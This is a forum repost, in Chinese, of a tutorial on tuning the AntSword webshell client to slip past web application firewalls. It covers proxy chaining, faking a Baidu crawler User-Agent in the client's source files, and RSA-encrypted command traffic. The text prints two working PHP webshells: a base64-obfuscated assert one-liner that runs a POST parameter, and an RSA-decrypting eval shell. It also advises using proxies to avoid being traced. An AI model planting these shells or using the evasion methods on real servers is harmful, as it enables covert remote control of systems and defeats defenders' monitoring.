搜索

[21703] 2021-02-23_蚁剑特征性信息修改简单过WAF

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2021-02-23_蚁剑特征性信息修改简单过WAF 蚁 剑 特 征 性 信 息 修 改 简 单 过 W A F 转 自 乌 雲 安 全   L e m o n S e c   2 0 2 1 - 0 2 - 2 3 原 创 作 者 ： A d m i n x e ， 博 客 ： h t t p s : / / w w w . a d m i n x e . c o m / 。 0 x 0 0   前 言 前 言 针 对 于 蚁 剑 的 特 征 ， 对 于 流 量 传 输 中 W A F 检 测 的 绕 过 ，   打 造 武 器 库 ，   进 行 合 理 化 的 修 改 ， 例 如 请 求 头 的 伪 造 ， 流 量 的 加 密 等 一 些 常 用 功 能 ， 这 边 主 要 进 行   这 几 部 分 的 修 改 。 0 x 0 1   修 改 位 置 修 改 位 置 蚁 剑 代 理 通 道 U A 特 征 伪 造 R S A 流 量 加 密 0 x 0 2   具 体 操 作 具 体 操 作 1 . 蚁 剑 代 理 通 道 蚁 剑 代 理 通 道 蚁 剑 代 理 通 道 设 置 （ 前 提 是 必 须 有 这 个 代 理 ） ：
2 . U A 特 征 伪 造 特 征 伪 造 蚁 剑 默 认 U A 抓 包 ： 主 要 修 改 的 位 置 ： / m o d u l e s / r e q u e s t . j s 这 边 主 要 是 推 荐 百 度 U A ， 具 体 自 己 可 以 百 度 下 其 他 U A ， 都 可 以 根 据 需 要 来 进 行 设 置 ： M o z i l l a / 5 . 0   ( c o m p a t i b l e ;   B a i d u s p i d e r / 2 . 0 ;   + h t t p : / / w w w . b a i d u . c o m / s e a r c h / s p i d e r . h t m l ) 原 来 的 U A ：
U A 修 改 后 （ 百 度 U A 爬 虫 ） ： / m o d u l e s / u p d a t e . j s 同 样 的 方 法 ， 将 U A 头 修 改 为 百 度 爬 虫 ： 修 改 前 ： 修 改 后 U A 头 ：
通 过 以 上 修 改 后 ， 抓 包 查 看 ： 3 . R S A 流 量 加 密 流 量 加 密 蚁 剑 从 2 . 1 开 始 支 持 了 R S A 加 密 算 法 ， 但 是 仅 仅 支 持 p h p 。 在 我 们 隐 藏 流 量 中 无 非 就 是 采 用 对 称 密 钥 加 密 和 非 对 称 密 钥 加 密 。 注 意 这 里 Y X N z Z x J 0   b a s e 6 4 解 密 为 a s s e r t ， e v a l 不 可 以 。 因 为 e v a l 属 于 语 言 构 造 器 ， 在 p h p 中 不 能 来 回 调 ， 类 似 c a l l _ u s e r _ f u n c t i o n ( ) 。 其 中 数 据 请 求 包 中 存 在 e v a l 关 键 字 ， 还 是 容 易 被 w a f 检 测 到 ， 所 以 U A 头 一 定 要 记 得 修 改 。 采 用 R S A 加 密 新 建 一 个 r s a 编 码 器 < ? p h p   $ k = b a s e 6 4 _ d e c o d e ( ' Y X N z Z X J 0 ' ) ;   $ k ( $ _ P O S T [ ' c m d ' ] ) ;   ? >
< ? p h p $ c m d   =   @ $ _ P O S T [ ' a n t ' ] ; $ p k   =   < < < E O F - - - - - B E G I N   P U B L I C   K E Y - - - - - M I G f M A 0 G C S q G S I b 3 D Q E B A Q U A A 4 G N A D C B i Q K B g Q C j Q S E j Y v G a B 7 q 7 G 5 b j K s 2 b + v 3 4 X Z 5 / X h H D S c x p v 8 8 C + f D v 6 I w x E r r 0 k w c O p + a n 2 1 t T t R F 7 W l 4 M b E k s L 6 w E 3 P N P t 3 9 k 8 i 4 P B f g 5 1 I j B Y O m e r 8 A H q r 9 q y D Z q 5 X g K 6 5 y O C W s O I N 8 + f u P 7 D t v R x f T F o B N K 6 O 3 N e A K y Y F 0 S R z I q P z 8 C v w I D A Q A B - - - - - E N D   P U B L I C   K E Y - - - - - E O F ; $ c m d s   =   e x p l o d e ( " | " ,   $ c m d ) ; $ p k   =   o p e n s s l _ p k e y _ g e t _ p u b l i c ( $ p k ) ; $ c m d   =   ' ' ; f o r e a c h   ( $ c m d s   a s   $ v a l u e )   {     i f   ( o p e n s s l _ p u b l i c _ d e c r y p t ( b a s e 6 4 _ d e c o d e ( $ v a l u e ) ,   $ d e ,   $ p k ) )   {         $ c m d   . =   $ d e ;     } } e v a l ( $ c m d ) ;
0 x 0 3   总 结 总 结 细 节 绝 对 成 败 ， 针 对 于 W A F 和 内 网 流 量 设 备 的 检 测 ， 使 用 加 密 流 量 去 混 淆 在 正 常 流 量 中 ， 使 用 代 理 模 式 ， 防 止 间 接 性 溯 源 。 如 果 有 更 好 的 绕 过 方 式 和 流 量 混 淆 方 式 ， 请 及 时 联 系 ， 共 同 学 习 进 步 。 一 如 既 往 的 学 习 ， 一 如 既 往 的 整 理 ， 一 如 即 往 的 分 享 。 感 谢 支 持 “ 如 侵 权 请 私 聊 公 众 号 删 文 ” 扫 描 关 注 扫 描 关 注 L e m o n S e c 觉 得 不 错 点 个 觉 得 不 错 点 个 “ 赞 赞 ” 、 、 “ 在 看 在 看 ” 哦 哦
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理